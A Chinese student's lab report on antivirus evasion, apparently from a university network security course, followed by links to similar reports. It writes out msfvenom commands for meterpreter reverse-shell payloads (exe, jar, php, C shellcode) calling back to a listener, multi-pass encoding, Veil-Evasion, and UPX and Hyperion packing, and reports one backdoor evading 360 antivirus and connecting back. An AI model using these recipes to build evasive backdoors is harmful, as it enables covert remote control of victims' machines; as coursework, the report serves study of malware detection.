2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

一、实践内容

1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

1.1.1正确使用msf编码器

  • 尝试用msf编码器对后门程序进行多次编码,尝试降低被查杀概率

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 55 -b ‘\x00’ LHOST=10.1.1.169 LPORT=5205 -f exe > met-encoded10.exe其中-e为编码,-i为编码次数,-b为规避坏字符。
    • 编码55次后得到win7中可以运行的可执行文件
    • 对编码55次的可执行文件扫描
    • win7中被查杀

1.1.2.msfvenom生成如jar之类的其他文件

  • 生成Java程序:msfvenom -p java/meterpreter/reverse_tcp lhost=10.1.1.169 lport=5205 x> 20165205_backdoor_java.jar将后门程序封装到jar包里,编写java程序时可以直接导入
  • win7中被查杀

  • 生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=10.1.1.169 lport=5205 x> 20165205_backdoor.phpphp文件可以嵌入到HTML文件中,它是一种完全适应各种操作系统的文件

1.1.3veil-evasion

  • sudo apt-get install veil-evasion之后veil发现有很多包安装失败
  • 我在安装时没有自动安装Python,所以我需要手动安装sudo apt-get python,还有几个包也是需要自己用命令行下载的,安装好这些之后再打开veil,才是正常的界面
  • 输入use evasion进入到evasion tool

  • 可以看到相对于msf,veil的payload选项好像要少一些?
  • 用C语言重新编写Meterpreteruse c/meterpreter/rev_tcp.py
  • 设置反弹连接IP(KAIL的IP):set lhost kailip
  • 设置反弹连接端口:`set lport 5205
  • generate生成文件,并在下一个跳出的命令行处输入文件的名字

  • /var/lib/veil/output/compiled我们生成的文件就在这个文件夹下

  • 把这个文件复制到win7主机中:被查杀

1.1.4使用shellcode编程

  • 使用msf生成shellcode:msfvenom -p windows/meterpreter/reverse_http lhost=10.1.1.169 lport=5205 -f c
  • 创建文件5205_door.c,将unsigned char buf[]强制转换成函数

  • 编译:i686-w64-mingw32-g++ 5205_door.c -o 5205_door.exe
  • 对普通的后门进行检查

1.1.5加壳工具

  • 加壳:upx 5205_door.exe -o 5205door_upxed.exe

  • 加壳后放到win7中居然是安全的。

  • 对加壳文件进行检查

  • 加密壳Hyperion
    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/ hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入wine hyperion.exe -v 5205door_upxed.exe 5205door_upxed_Hyperion.exe
    • 对加密加壳文件扫描
    • 几乎一半的杀毒软件都可以杀出来

1.2通过组合应用各种技术实现恶意代码免杀

  • 首先在做加壳的时候就发现普通的加壳文件是可以躲过360杀毒的,做法是半手工的shellcode文件,用UPX加壳
  • 但是马上就会发现,过了一会,被判定为安全软件的后门程序就被检测成木马了,这是因为360的云技术,把我们的查杀结果上传到云进行比对,然后判断这是一个木马程序,然后这个木马程序就被全国联保了
  • 然后我在源代码里加入了隐藏程序窗口的代码,怎么说呢,也并没有好很多,最后我把360的云端上传技术关掉了,果然我的这个小木马活了下来

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 360版本:11.1.0.1001
  • 测试回连结果:可以查询对方文件目录

二、报告内容:

2.1基础问题回答

  1. 杀软是如何检测出恶意代码的?

    • 静态查杀

      • 特征码的检测:杀软通过比对目标文件与病毒库中代码的特征码来判断文件中是否含有恶意代码
    • 启发式查杀
      • 结合了虚拟机的一种查杀方式,先模拟执行这个文件,然后看看后果是否有异常
    • 基于行为查杀
      • 通过判断文件的行为来判断文件是否正常
    • 云查杀
      • 这一点是我从网上查到的,如果有不对,看到的同学之间指出来就好
      • 云查杀基于云共享特征库扫描,可以很及时地防范大规模的恶意代码攻击
  2. 免杀是做什么?
    • 通过改变代码,减少与特征库内代码碰撞的概率,来通过杀软的检测
  3. 免杀的基本方式
    • 代码变换
    • 加壳变换
    • 代码混淆
    • 加密技术
    • 等等

2.2实验总结与体会

本次实验中通过多种多样的方式,对我们的恶意代码进行“包装”企图逃过杀软的检测,但是结果告诉我们这很难,尤其是在这样一个网络与计算十分发达的时代,我做的加壳文件,当下没有被扫描为木马,但是他上传到云端,马上又被“打回原形”,进行全国联保了。我通过自己动手制作了属于自己的木马软件,其实还是很有成就感的,尤其是可以控制别人的电脑。
在安装veil的时候也是遇到了很多困难,但是我感觉大家都装的很顺利(笑哭)

2.3开启杀软能绝对防止电脑中恶意代码吗?

答案显然是不能,我们下载的盗版软件,无意点击的小广告网页,接触带病毒的U盘,感觉恶意代码还是很难去做到完全不会中招的呢。

2018-2019-2 20165205 网络攻防Exp3免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  2. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  3. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  4. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  5. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  6. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  7. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  8. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  9. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

随机推荐

  1. NABCD(团队项目)

    N (Need 需求) 随着时代的进步和手机迅速发展,各种软件充斥这我们的生活,在学校里,我们总为一些各种各样的群所困扰,我们需要一件工具整合信息,让我们的生活更加便利. A (Approach 做法 ...

  2. Linux 的终端及设置

    Linux 的终端及设置 终端是一种字符型设备,有多种类型,通常使用tty 来简称各种类型的终端设备.终端特殊设备文件一般有以下几种: /dev/ttySn 串行端口终端 (Serial Port T ...

  3. PTA4

    这个作业属于哪个课程 C语言程序设计2 这个作业要求在哪里 \https://edu.cnblogs.com/campus/zswxy/software-engineering-class2-2018 ...

  4. 2018-2019-2 20165313 《网络对抗技术》Exp4 恶意代码分析

    一.实践目标 1.监控你自己系统的运行状态,看有没有可疑的程序在运行. 2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinternals,systrac ...

  5. Java Web 学习笔记 1

    Java Web 学习笔记 1 一.Web开发基础 1-1 Java Web 应用开发概述 1.1.1 C/S C/S(Client/Server)服务器通常采用高性能的PC机或工作站,并采用大型数据 ...

  6. python 日常 摘要

    正负无穷float(‘inf’): Python中可以用表示正负无穷:float("inf"), float("-inf") 不等式: 当涉及 > 和 & ...

  7. 4. Traffic monitoring tools (流量监控工具 10个)

    4. Traffic monitoring tools (流量监控工具 10个)EttercapNtop SolarWinds已经创建并销售了针对系统管理员的数十种专用工具. 安全相关工具包括许多网络 ...

  8. cordova原生页面切换效果插件的使用:com.telerik.plugins.nativepagetransitions

    1. 添加插件:cordova plugin add com.telerik.plugins.nativepagetransitions2. 使用方法: 在index.html中添加: <met ...

  9. python中使用if __name__ == '__main__':

    引子 在python中,假设在一个test1.py的模块中定义了一个foo函数,然后调用函数foo进行测试的时候会产生一个内存空间.当你把这个模块导入到test2.py模块中,接下来如果在test2. ...

  10. dbca建库--linux上使用vnc图形化安装oracle10g版本

    选择创建数据库 配不配置em,自己决定,我们选择配置 配置下面账户密码,在项目中,下面账户肯定是不相同的,我们这里输入相同的,密码为oracle10g 选择文件系统存放(asm和字符设备暂时不能存放) ...